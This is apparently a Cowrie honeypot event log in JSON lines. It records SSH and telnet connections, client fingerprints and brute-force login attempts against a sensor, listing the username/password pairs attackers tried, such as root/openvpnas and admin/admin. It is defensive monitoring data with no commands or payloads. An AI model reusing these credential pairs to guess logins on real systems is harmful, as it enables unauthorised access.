{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:50.102350Z","src_ip":"91.92.40.36","session":"0331628bc2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:50.156464Z","src_ip":"45.153.34.195","session":"20e342b3d957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openvpnas","message":"login attempt [root/openvpnas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:51.318166Z","src_ip":"91.92.40.36","session":"4bd1444b973a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123","message":"login attempt [chris/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:51.331060Z","src_ip":"91.92.40.36","session":"0331628bc2e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40184,"dst_ip":"10.17.0.5","dst_port":22,"session":"4063d0ca9793","protocol":"ssh","message":"New connection: 45.153.34.195:40184 (10.17.0.5:22) [session: 4063d0ca9793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:51.402623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:51.408113Z","src_ip":"45.153.34.195","session":"4063d0ca9793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:51.508319Z","src_ip":"45.153.34.195","session":"4063d0ca9793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyber","password":"cyber","message":"login attempt [cyber/cyber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:51.790876Z","src_ip":"45.153.34.195","session":"4063d0ca9793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59568,"dst_ip":"159.203.135.109","dst_port":22,"session":"51f1b2112f43","protocol":"ssh","message":"New connection: 27.71.230.31:59568 (159.203.135.109:22) [session: 51f1b2112f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:52.608790Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:52.733289Z","src_ip":"91.92.40.36","session":"0331628bc2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:52.877494Z","src_ip":"45.153.34.195","session":"4063d0ca9793","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:53.243016Z","src_ip":"27.71.230.31","session":"51f1b2112f43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:53.757575Z","src_ip":"91.92.40.36","session":"4bd1444b973a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":33192,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6206545f64d","protocol":"ssh","message":"New connection: 101.36.122.139:33192 (10.17.0.5:22) [session: a6206545f64d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:54.194491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:54.198885Z","src_ip":"101.36.122.139","session":"a6206545f64d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34030,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fcb542a41df","protocol":"ssh","message":"New connection: 45.153.34.195:34030 (10.17.0.5:22) [session: 1fcb542a41df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:54.284767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:54.289651Z","src_ip":"45.153.34.195","session":"1fcb542a41df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:54.371964Z","src_ip":"45.153.34.195","session":"1fcb542a41df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:54.415548Z","src_ip":"101.36.122.139","session":"a6206545f64d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:54.623001Z","src_ip":"45.153.34.195","session":"1fcb542a41df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elephant","message":"login attempt [root/elephant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:55.314036Z","src_ip":"101.36.122.139","session":"a6206545f64d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65484,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ecb47d83118","protocol":"ssh","message":"New connection: 91.92.40.36:65484 (10.17.0.5:22) [session: 0ecb47d83118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:55.701919Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:55.707495Z","src_ip":"45.153.34.195","session":"1fcb542a41df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33330,"dst_ip":"159.203.135.109","dst_port":23,"session":"865b5c8a6ac5","protocol":"telnet","message":"New connection: 172.81.62.90:33330 (159.203.135.109:23) [session: 865b5c8a6ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:55.910726Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:56.534079Z","src_ip":"101.36.122.139","session":"a6206545f64d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:56.592707Z","src_ip":"27.71.230.31","session":"51f1b2112f43","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:56.909440Z","src_ip":"91.92.40.36","session":"0ecb47d83118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:56.913144Z","src_ip":"91.92.40.36","session":"0ecb47d83118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34040,"dst_ip":"10.17.0.5","dst_port":22,"session":"2470c81998f9","protocol":"ssh","message":"New connection: 45.153.34.195:34040 (10.17.0.5:22) [session: 2470c81998f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:57.246349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:57.258706Z","src_ip":"45.153.34.195","session":"2470c81998f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:57.336506Z","src_ip":"45.153.34.195","session":"2470c81998f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:57.507174Z","src_ip":"31.70.71.228","session":"106722ce1b6b","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:57.553642Z","src_ip":"31.70.71.228","session":"106722ce1b6b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"pass123","message":"login attempt [minecraft/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:57.662444Z","src_ip":"45.153.34.195","session":"2470c81998f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:58.745425Z","src_ip":"45.153.34.195","session":"2470c81998f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@1010*","message":"login attempt [root/Admin@1010*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:58.795584Z","src_ip":"27.71.230.31","session":"51f1b2112f43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marketing","password":"123456","message":"login attempt [marketing/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:59.497365Z","src_ip":"91.92.40.36","session":"0ecb47d83118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.3","message":"Connection lost after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:59.770842Z","src_ip":"23.148.145.132","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34042,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c3844b43862","protocol":"ssh","message":"New connection: 45.153.34.195:34042 (10.17.0.5:22) [session: 7c3844b43862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:00.024544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:00.191081Z","src_ip":"45.153.34.195","session":"7c3844b43862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:00.194837Z","src_ip":"45.153.34.195","session":"7c3844b43862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:00.660409Z","src_ip":"27.71.230.31","session":"51f1b2112f43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin123","message":"login attempt [kevin/kevin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:00.817714Z","src_ip":"45.153.34.195","session":"7c3844b43862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:00.914893Z","src_ip":"91.92.40.36","session":"0ecb47d83118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:02.050695Z","src_ip":"45.153.34.195","session":"7c3844b43862","protocol":"ssh"}
